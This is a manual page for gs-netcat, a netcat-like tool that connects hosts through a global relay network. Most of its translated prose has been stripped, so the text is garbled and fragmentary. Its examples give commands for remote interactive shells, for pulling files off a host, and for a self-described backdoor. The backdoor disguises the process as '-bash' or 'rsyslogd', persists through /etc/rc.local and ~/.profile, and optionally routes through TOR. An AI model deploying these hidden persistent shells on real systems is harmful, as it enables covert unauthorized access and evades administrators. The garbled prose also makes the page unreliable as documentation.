GS-NETCAT(1) General Commands Manual GS-NETCAT(1) (NAME) gs-netcat - (SYNOPSIS) gs-netcat [-rlgvqwCTSDiu] [-s secret] [-k keyfile] [-L logfile] [-d IP] [-p port] [-e cmd] (DESCRIPTION) gs-netcat netcat . NAT TCP (LAN) . TCP (GSRN) . TCP . SRP ( RFC 5054) AES-256 (End-to-End) . GSRN . : o TCP o PTY o o ProxyCommand (SOCKS) ssh(1) o . (OPTIONS) -C (clear-text). . -d ip IPv4 (port forwarding). -D (Daemon & Watchdog). gs-netcat . -e cmd . l- . -g . -i (Interactive login shell). PTY PTY ( Ctrl-C ). 'Ctrl-e q' 'exit' . . -k file . -l /. . -L file () [: ]. -p port [-]. -q (Quiet). . -r (Receive-only). . . -s secret . . -S SOCKS4/4a/5. SOCKS4/4a/5 gs-netcat ( ) . l- . -T (TOR). gs-netcat TOR GSRN . TOR . IP TOR . -t GSRN . . -u UDP TCP . p- . -v . vv- vvv- . -w . (CONSOLE) ( -i ) . 'Ctrl-e c' . : o ( ) o o (throughput) o 'help' . (FILETRANSFER) . . . 'put' () : put foobar.txt put $HOME/foobar.txt put /tmp/*.log put $(find. -type f -name '*.c') ( ) . : put /foo/./bar/baz.c /tmp/bar/baz.c . 'get' () : get foobar.txt get $(find /var/./ -name '*.log') ( ): get /var/log get / /var/log/* . . get/put . (EXAMPLES) - 'MySecret': $ gs-netcat -s MySecret -l : $ gs-netcat -s MySecret - PTY : $ gs-netcat -s MySecret -l -i : $ gs-netcat -s MySecret -i TOR: $ gs-netcat -s MySecret -i -T Socks5: $ export GSOCKET_SOCKS_IP=127.0.0.1 $ export GSOCKET_SOCKS_PORT=1080 $ gs-netcat -s MySecret -i -T - : $ gs-netcat -s MySecret -l -e 'echo hello world; id; exit' : $ gs-netcat -s MySecret - (Pipe) : $ gs-netcat -s MySecret -l -r >warez.tar.gz 'warez.tar.gz' : $ gs-netcat -s MySecret - SOCKS4/4a/5: $ gs-netcat -s MySecret -l -S TCP SOCKS: $ gs-netcat -s MySecret -p 1080 - TCP 192.168.6.7:22. : $ gs-netcat -s MySecret -l -d 192.168.6.7 -p 22 TCP . 192.168.6.7:22 : $ gs-netcat -s MySecret -p 2222 $ ssh -p 2222 root@127.0.0.1 : $ ssh -o ProxyCommand='gs-netcat -s MySecret' root@ignored - SFTP gs-netcat: $ gs-netcat -s MySecret -l -e /usr/lib/sftp-server sftp-server sftp stdin/stdout . sftp / . GSRN ( ) SFTP : $ export GSOCKET_ARGS='-s MySecret' $ sftp -D gs-netcat - PTY 'bash-' ( Backdoor): $ (GSOCKET_ARGS="-s MySecret -liqD" exec -a -bash gs-netcat) /etc/rc.local : GSOCKET_ARGS="-s MySecret -liqD" HOME=/root TERM=xterm-256color SHELL="/bin/bash" /bin/bash -c "cd $HOME; exec -a rsyslogd /usr/local/bin/gs-netcat" /etc/rc.local 127.0.0.1:22 : GSOCKET_ARGS="-k MySecret2 -lqD -d 127.1 -p22" /bin/bash -c "exec -a rsyslogd /usr/local/bin/gs-netcat" (~/.profile) () . : killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s MySecret3 -liqD" SHELL=/bin/bash exec -a -bash /usr/local/bin/gs-netcat) '(...)' (sub- shell) ( exec) gs-netcat . ( bash-) . : $ gs-netcat -s MySecret -i (ENVIRONMENT) gs-netcat : GSOCKET_SOCKS_IP IP TOR ( SOCKS ). T- . 127.0.0.1 . GSOCKET_SOCKS_PORT TOR ( SOCKS ). T- . 9050 . GSOCKET_ARGS . GSOCKET_ARGS . (SECURITY) . k- GSOCKET_ARGS : $ gs-netcat -k $ export GSOCKET_ARGS="-s MySecret" $ gs-netcat . (End-to- End) ( GSRN). GSRN () . . (ephemeral) . ( ). SRP OpenSSL AES-256 . . <<>> . (brute force) TCP . . 'password123' . . gs-netcat -g . . . . . . . . a - . : SSH GS/TLS . . SRP (Perfect Forward Secrecy) . (NOTES) . (SEE ALSO) gsocket(1), gs-sftp(1), gs-mount(1), blitz(1), nc(1), socat(1) (BUGS) gs-netcat << >> . (skyper@thc.org) . Linux 6.12.107+deb13-amd64 October 8, 2020 Linux 6.12.107+deb13-amd64